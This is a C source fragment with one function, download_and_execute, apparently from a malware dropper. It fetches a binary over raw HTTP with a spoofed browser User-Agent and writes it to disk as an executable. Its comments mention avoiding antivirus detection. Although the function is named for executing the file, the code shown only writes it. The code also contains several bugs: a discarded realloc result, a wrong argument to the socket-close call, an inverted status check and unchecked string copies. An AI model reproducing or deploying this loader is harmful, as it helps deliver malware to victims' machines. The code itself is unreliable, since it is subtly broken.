// Downloads and execute a given binary file from a given url
int download_and_execute(const char * path_to_write, const char * url, long filesize) {

	char host[512];
	char host_path[512];

	char* t = strstr(url, "://");
	strcpy(host, t + 3);


	char* tt = strstr(host, "/");
	if (!tt) return -1;
	else {
		strcpy(host_path, tt);
	}

	strcpy(tt, "\x00");

#ifdef _DEBUG
	printf("HOST:%s\n", host);
	printf("PATH:%s\n", host_path);
	printf("Init...\n");
#endif
	int __port = 80;

	printf("Phase-2\n");

	SOCKET host_server = INVALID_SOCKET;
	printf("phase-3\n");
	if (!socket_init_and_connect(&host_server, host, __port)) {
		printf("Error socket_init_and_connect\n");
		return -1;
	}

	printf("Phase-4\n");

	if (host_server == INVALID_SOCKET || host_server == NULL) {
		printf("Invalid socket..");
		return -1;
	}

	printf("Phase-5\n");
	// Form HTTP-request message.
	// use browser-like UA to have less complications

	char tmp_buff[512], http_request_buff[1024];

	sprintf(tmp_buff, "GET %s HTTP/1.0\r\n", host_path);
	strcpy(http_request_buff, tmp_buff);

	sprintf(tmp_buff, "HOST: %s\r\n", host);
	strcat(http_request_buff, tmp_buff);
	strcat(http_request_buff, "Cache-Control: max-age=0\r\n");
	strcat(http_request_buff, "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36\r\n" );

	strcat(http_request_buff, "\r\n");

	printf("HTTP-REQUEST-BUFF: \n%s\n", http_request_buff);

	if (!sendall(host_server, http_request_buff, strlen(http_request_buff) * sizeof(char))) {
		printf("Error sending request\n");
		close_socket_connection(host_server);
		return -1;
	}

	size_t http_response_size = (size_t)(filesize + 512);
	char * http_response = malloc(http_response_size);
	memset(http_response, 0, http_response_size);
	printf("Reading response");
	int total_recv = 0;
	while (1) {
		if (total_recv >= (int)(http_response_size) ) {
			printf("Reallocating\n");
			realloc(http_response, http_response_size + 64);
			http_response_size += 512;
		}
		int r = recv(host_server, http_response+total_recv, 1, 0);
		total_recv += r;
		memset(http_response + total_recv, 0, 1);
		if (r <= 0) {
			printf("Finished??..");
			break;
		}

	}

	printf("HTTP-REPONSE:\n%s\n", http_response);
	printf("Finished receiving...\n" );
	// http_response now holds the http response data by the server
	char* http_ok = strstr(http_response, "200 OK");
	if ((http_ok != NULL) && (http_response - http_ok) > 10) {
		free(http_response);
		close_socket_connection(host_server);
		return -1;
	}

	close_socket_connection("");
	char* http_header_end = strstr(http_response, "\r\n\r\n");
	if (http_header_end == NULL) {
		free(http_response);
		return -1;
	}

	char* exe_file_contents = http_header_end + 4;

	// [!] Direct write to disc of a (valid) PE file might trigger AVs
	FILE* file = fopen(path_to_write, "wb");
	if (!file) {
		return -1;
	}

	fwrite((void*)exe_file_contents, filesize, 1, file);
	fclose(file);


	return 1;
}